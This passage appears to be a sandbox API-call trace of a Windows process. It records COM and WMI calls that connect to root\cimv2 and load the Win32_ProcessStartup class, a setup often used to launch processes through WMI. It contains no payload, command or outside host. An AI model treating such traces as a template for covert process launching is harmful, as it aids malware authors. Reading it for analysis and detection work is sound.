(in: This=0x2a2ac0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c2d0 | out: ppvObject=0x1b10c2d0*=0x1b449cc0) returned 0x0 [0132.659] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b449cc0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c2f8 | out: pCid=0x1b10c2f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.659] WbemDefPath:IUnknown:Release (This=0x1b449cc0) returned 0x3 [0132.659] CoGetContextToken (in: pToken=0x1b10c380 | out: pToken=0x1b10c380) returned 0x0 [0132.659] CoGetContextToken (in: pToken=0x1b10c800 | out: pToken=0x1b10c800) returned 0x0 [0132.659] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2ac0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c8c0 | out: ppvObject=0x1b10c8c0*=0x0) returned 0x80004002 [0132.659] WbemDefPath:IUnknown:Release (This=0x2a2ac0) returned 0x2 [0132.659] WbemDefPath:IUnknown:Release (This=0x2a2ac0) returned 0x1 [0132.659] CoGetContextToken (in: pToken=0x1b10d5f0 | out: pToken=0x1b10d5f0) returned 0x0 [0132.659] CoGetContextToken (in: pToken=0x1b10d4f0 | out: pToken=0x1b10d4f0) returned 0x0 [0132.659] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2ac0, riid=0x1b10d650*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d620 | out: ppvObject=0x1b10d620*=0x2a2ac0) returned 0x0 [0132.659] WbemDefPath:IUnknown:AddRef (This=0x2a2ac0) returned 0x3 [0132.660] WbemDefPath:IUnknown:Release (This=0x2a2ac0) returned 0x2 [0132.660] WbemDefPath:IWbemPath:SetText (This=0x2a2ac0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0132.660] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x2a2ac0, puCount=0x1b10d9d8 | out: puCount=0x1b10d9d8*=0x2) returned 0x0 [0132.660] WbemDefPath:IWbemPath:GetText (in: This=0x2a2ac0, lFlags=4, puBuffLength=0x1b10d9d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9d0*=0xf, pszText=0x0) returned 0x0 [0132.660] WbemDefPath:IWbemPath:GetText (in: This=0x2a2ac0, lFlags=4, puBuffLength=0x1b10d9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.660] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10da48 | out: ppv=0x1b10da48*=0x3111d8) returned 0x0 [0132.660] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10da38 | out: pAptType=0x1b10da38*=1) returned 0x0 [0132.660] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10da40 | out: ppvObject=0x1b10da40*=0x0) returned 0x80004002 [0132.660] IUnknown:Release (This=0x3111d8) returned 0x1 [0132.661] CoGetClassObject (in: rclsid=0x1b3c81c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d108 | out: ppv=0x1b10d108*=0x1b449ce0) returned 0x0 [0132.661] WbemLocator:IUnknown:QueryInterface (in: This=0x1b449ce0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10d1f0 | out: ppvObject=0x1b10d1f0*=0x0) returned 0x80004002 [0132.661] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b449ce0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d1c8 | out: ppvObject=0x1b10d1c8*=0x1b449a00) returned 0x0 [0132.661] WbemLocator:IUnknown:Release (This=0x1b449ce0) returned 0x0 [0132.661] WbemLocator:IUnknown:QueryInterface (in: This=0x1b449a00, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cf70 | out: ppvObject=0x1b10cf70*=0x1b449a00) returned 0x0 [0132.661] WbemLocator:IUnknown:QueryInterface (in: This=0x1b449a00, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d000 | out: ppvObject=0x1b10d000*=0x0) returned 0x80004002 [0132.661] WbemLocator:IUnknown:QueryInterface (in: This=0x1b449a00, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c7f8 | out: ppvObject=0x1b10c7f8*=0x0) returned 0x80004002 [0132.661] WbemLocator:IUnknown:AddRef (This=0x1b449a00) returned 0x3 [0132.661] WbemLocator:IUnknown:QueryInterface (in: This=0x1b449a00, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c6b8 | out: ppvObject=0x1b10c6b8*=0x0) returned 0x80004002 [0132.662] WbemLocator:IUnknown:QueryInterface (in: This=0x1b449a00, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c640 | out: ppvObject=0x1b10c640*=0x0) returned 0x80004002 [0132.662] WbemLocator:IUnknown:QueryInterface (in: This=0x1b449a00, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c630 | out: ppvObject=0x1b10c630*=0x0) returned 0x80004002 [0132.662] CoGetContextToken (in: pToken=0x1b10c6e0 | out: pToken=0x1b10c6e0) returned 0x0 [0132.662] CoGetContextToken (in: pToken=0x1b10cb60 | out: pToken=0x1b10cb60) returned 0x0 [0132.662] WbemLocator:IUnknown:QueryInterface (in: This=0x1b449a00, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc20 | out: ppvObject=0x1b10cc20*=0x0) returned 0x80004002 [0132.662] WbemLocator:IUnknown:Release (This=0x1b449a00) returned 0x2 [0132.662] WbemLocator:IUnknown:Release (This=0x1b449a00) returned 0x1 [0132.662] CoGetContextToken (in: pToken=0x1b10d5a0 | out: pToken=0x1b10d5a0) returned 0x0 [0132.662] CoGetContextToken (in: pToken=0x1b10d4a0 | out: pToken=0x1b10d4a0) returned 0x0 [0132.662] WbemLocator:IUnknown:QueryInterface (in: This=0x1b449a00, riid=0x1b10d600*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b10d5d0 | out: ppvObject=0x1b10d5d0*=0x1b449a00) returned 0x0 [0132.662] WbemLocator:IUnknown:AddRef (This=0x1b449a00) returned 0x3 [0132.662] WbemLocator:IUnknown:Release (This=0x1b449a00) returned 0x2 [0132.662] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x2a2ac0, puCount=0x1b10d9d8 | out: puCount=0x1b10d9d8*=0x2) returned 0x0 [0132.662] WbemDefPath:IWbemPath:GetText (in: This=0x2a2ac0, lFlags=8, puBuffLength=0x1b10d9d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9d0*=0xf, pszText=0x0) returned 0x0 [0132.662] WbemDefPath:IWbemPath:GetText (in: This=0x2a2ac0, lFlags=8, puBuffLength=0x1b10d9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.662] CoCreateInstance (in: rclsid=0x7ffb13d166a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb13d16708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b10d720 | out: ppv=0x1b10d720*=0x1b449700) returned 0x0 [0132.662] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b449700, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b10d898 | out: ppNamespace=0x1b10d898*=0x1b403900) returned 0x0 [0133.178] WbemLocator:IUnknown:QueryInterface (in: This=0x1b403900, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d598 | out: ppvObject=0x1b10d598*=0x1b4524d0) returned 0x0 [0133.178] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b4524d0, pProxy=0x1b403900, pAuthnSvc=0x1b10d660, pAuthzSvc=0x1b10d5e0, pServerPrincName=0x1b10d608, pAuthnLevel=0x1b10d5e4, pImpLevel=0x1b10d5f0, pAuthInfo=0x1b10d618, pCapabilites=0x1b10d5f4 | out: pAuthnSvc=0x1b10d660*=0xa, pAuthzSvc=0x1b10d5e0*=0x0, pServerPrincName=0x1b10d608, pAuthnLevel=0x1b10d5e4*=0x6, pImpLevel=0x1b10d5f0*=0x2, pAuthInfo=0x1b10d618, pCapabilites=0x1b10d5f4*=0x1) returned 0x0 [0133.178] WbemLocator:IUnknown:Release (This=0x1b4524d0) returned 0x1 [0133.178] WbemLocator:IUnknown:QueryInterface (in: This=0x1b403900, riid=0x7ffb13d16518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x1b452518) returned 0x0 [0133.179] WbemLocator:IUnknown:QueryInterface (in: This=0x1b403900, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d540 | out: ppvObject=0x1b10d540*=0x1b4524d0) returned 0x0 [0133.179] WbemLocator:IClientSecurity:SetBlanket (This=0x1b4524d0, pProxy=0x1b403900, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0133.179] WbemLocator:IUnknown:Release (This=0x1b4524d0) returned 0x2 [0133.179] WbemLocator:IUnknown:Release (This=0x1b452518) returned 0x1 [0133.179] CoTaskMemFree (pv=0x1b421250) [0133.179] WbemLocator:IUnknown:Release (This=0x1b449700) returned 0x0 [0133.179] WbemLocator:IUnknown:QueryInterface (in: This=0x1b403900, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d030 | out: ppvObject=0x1b10d030*=0x1b452518) returned 0x0 [0133.180] WbemLocator:IUnknown:QueryInterface (in: This=0x1b452518, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d0c0 | out: ppvObject=0x1b10d0c0*=0x0) returned 0x80004002 [0133.200] WbemLocator:IUnknown:QueryInterface (in: This=0x1b452518, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cce0 | out: ppvObject=0x1b10cce0*=0x0) returned 0x80004002 [0133.229] WbemLocator:IUnknown:QueryInterface (in: This=0x1b403900, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c8b8 | out: ppvObject=0x1b10c8b8*=0x0) returned 0x80004002 [0133.257] WbemLocator:IUnknown:AddRef (This=0x1b452518) returned 0x3 [0133.257] WbemLocator:IUnknown:QueryInterface (in: This=0x1b452518, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c778 | out: ppvObject=0x1b10c778*=0x0) returned 0x80004002 [0133.257] WbemLocator:IUnknown:QueryInterface (in: This=0x1b452518, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c700 | out: ppvObject=0x1b10c700*=0x0) returned 0x80004002 [0133.257] WbemLocator:IUnknown:QueryInterface (in: This=0x1b452518, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c6f0 | out: ppvObject=0x1b10c6f0*=0x1b4523f8) returned 0x0 [0133.258] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b4523f8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c718 | out: pCid=0x1b10c718*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.258] WbemLocator:IUnknown:Release (This=0x1b4523f8) returned 0x3 [0133.258] CoGetContextToken (in: pToken=0x1b10c7a0 | out: pToken=0x1b10c7a0) returned 0x0 [0133.258] CoGetContextToken (in: pToken=0x1b10cc20 | out: pToken=0x1b10cc20) returned 0x0 [0133.258] WbemLocator:IUnknown:QueryInterface (in: This=0x1b452518, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cce0 | out: ppvObject=0x1b10cce0*=0x1b4524e0) returned 0x0 [0133.258] WbemLocator:IRpcOptions:Query (in: This=0x1b4524e0, pPrx=0x1b452518, dwProperty=2, pdwValue=0x1b10ccd0 | out: pdwValue=0x1b10ccd0) returned 0x80004002 [0133.258] WbemLocator:IUnknown:Release (This=0x1b4524e0) returned 0x3 [0133.258] WbemLocator:IUnknown:Release (This=0x1b452518) returned 0x2 [0133.259] CoGetContextToken (in: pToken=0x1b10d2e0 | out: pToken=0x1b10d2e0) returned 0x0 [0133.259] CoGetContextToken (in: pToken=0x1b10d1e0 | out: pToken=0x1b10d1e0) returned 0x0 [0133.259] WbemLocator:IUnknown:QueryInterface (in: This=0x1b452518, riid=0x1b10d340*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b10d310 | out: ppvObject=0x1b10d310*=0x1b403900) returned 0x0 [0133.259] WbemLocator:IUnknown:AddRef (This=0x1b403900) returned 0x4 [0133.259] WbemLocator:IUnknown:Release (This=0x1b403900) returned 0x3 [0133.259] WbemLocator:IUnknown:Release (This=0x1b403900) returned 0x2 [0133.259] SysStringLen (param_1=0x0) returned 0x0 [0133.259] CoGetContextToken (in: pToken=0x1b10d3b0 | out: pToken=0x1b10d3b0) returned 0x0 [0133.259] WbemLocator:IUnknown:AddRef (This=0x1b452518) returned 0x3 [0133.259] WbemLocator:IUnknown:QueryInterface (in: This=0x1b452518, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d3b0 | out: ppvObject=0x1b10d3b0*=0x1b452518) returned 0x0 [0133.261] WbemLocator:IUnknown:Release (This=0x1b452518) returned 0x3 [0133.261] WbemLocator:IUnknown:Release (This=0x1b452518) returned 0x2 [0133.261] WbemDefPath:IWbemPath:GetText (in: This=0x352d00, lFlags=2, puBuffLength=0x1b10dab0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10dab0*=0x15, pszText=0x0) returned 0x0 [0133.261] WbemDefPath:IWbemPath:GetText (in: This=0x352d00, lFlags=2, puBuffLength=0x1b10dab0*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b10dab0*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0133.261] IWbemServices:GetObject (in: This=0x1b403900, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b10da30*=0x0, ppCallResult=0x0 | out: ppObject=0x1b10da30*=0x1b453800, ppCallResult=0x0) returned 0x0 [0133.264] IWbemClassObject:Get (in: This=0x1b453800, wszName="__PATH", lFlags=0, pVal=0x1b10d9e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10db28*=0, plFlavor=0x1b10db20*=0 | out: pVal=0x1b10d9e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b10db28*=8, plFlavor=0x1b10db20*=64) returned 0x0 [0133.264] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0133.264] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0133.264] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d9f8 | out: ppv=0x1b10d9f8*=0x3111d8) returned 0x0 [0133.264] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d9e8 | out: pAptType=0x1b10d9e8*=1) returned 0x0 [0133.264] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d9f0 | out: ppvObject=0x1b10d9f0*=0x0) returned 0x80004002 [0133.264] IUnknown:Release (This=0x3111d8) returned 0x1 [0133.266] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cde8 | out: ppv=0x1b10cde8*=0x1b449600) returned 0x0 [0133.266] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b449600, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ced0 | out: ppvObject=0x1b10ced0*=0x0) returned 0x80004002 [0133.266] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b449600, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cea8 | out: ppvObject=0x1b10cea8*=0x2a2b80) returned 0x0 [0133.266] WbemDefPath:IUnknown:Release (This=0x1b449600) returned 0x0 [0133.266] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2b80, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc50 | out: ppvObject=0x1b10cc50*=0x2a2b80) returned 0x0 [0133.266] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2b80, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cce0 | out: ppvObject=0x1b10cce0*=0x0) returned 0x80004002 [0133.266] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2b80, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c4d8 | out: ppvObject=0x1b10c4d8*=0x0) returned 0x80004002 [0133.266] WbemDefPath:IUnknown:AddRef (This=0x2a2b80) returned 0x3 [0133.266] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2b80, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c398 | out: ppvObject=0x1b10c398*=0x0) returned 0x80004002 [0133.267] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2b80, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c320 | out: ppvObject=0x1b10c320*=0x0) returned 0x80004002 [0133.267] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2b80, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c310 | out: ppvObject=0x1b10c310*=0x1b4499a0) returned 0x0 [0133.267] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4499a0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c338 | out: pCid=0x1b10c338*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.267] WbemDefPath:IUnknown:Release (This=0x1b4499a0) returned 0x3 [0133.267] CoGetContextToken (in: pToken=0x1b10c3c0 | out: pToken=0x1b10c3c0) returned 0x0 [0133.267] CoGetContextToken (in: pToken=0x1b10c840 | out: pToken=0x1b10c840) returned 0x0 [0133.267] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2b80, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c900 | out: ppvObject=0x1b10c900*=0x0) returned 0x80004002 [0133.267] WbemDefPath:IUnknown:Release (This=0x2a2b80) returned 0x2 [0133.267] WbemDefPath:IUnknown:Release (This=0x2a2b80) returned 0x1 [0133.267] CoGetContextToken (in: pToken=0x1b10d630 | out: pToken=0x1b10d630) returned 0x0 [0133.267] CoGetContextToken (in: pToken=0x1b10d530 | out: pToken=0x1b10d530) returned 0x0 [0133.267] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2b80, riid=0x1b10d690*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d660 | out: ppvObject=0x1b10d660*=0x2a2b80) returned 0x0 [0133.267] WbemDefPath:IUnknown:AddRef (This=0x2a2b80) returned 0x3 [0133.267] WbemDefPath:IUnknown:Release (This=0x2a2b80) returned 0x2 [0133.267] WbemDefPath:IWbemPath:SetText (This=0x2a2b80, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0133.267] IWbemClassObject:Get (in: This=0x1b453800, wszName="CreateFlags", lFlags=0, pVal=0x1b10da60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d9f7c8*=0, plFlavor=0x2d9f7cc*=0 | out: pVal=0x1b10da60*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d9f7c8*=19, plFlavor=0x2d9f7cc*=0) returned 0x0 [0133.268] IWbemClassObject:Get (in: This=0x1b453800, 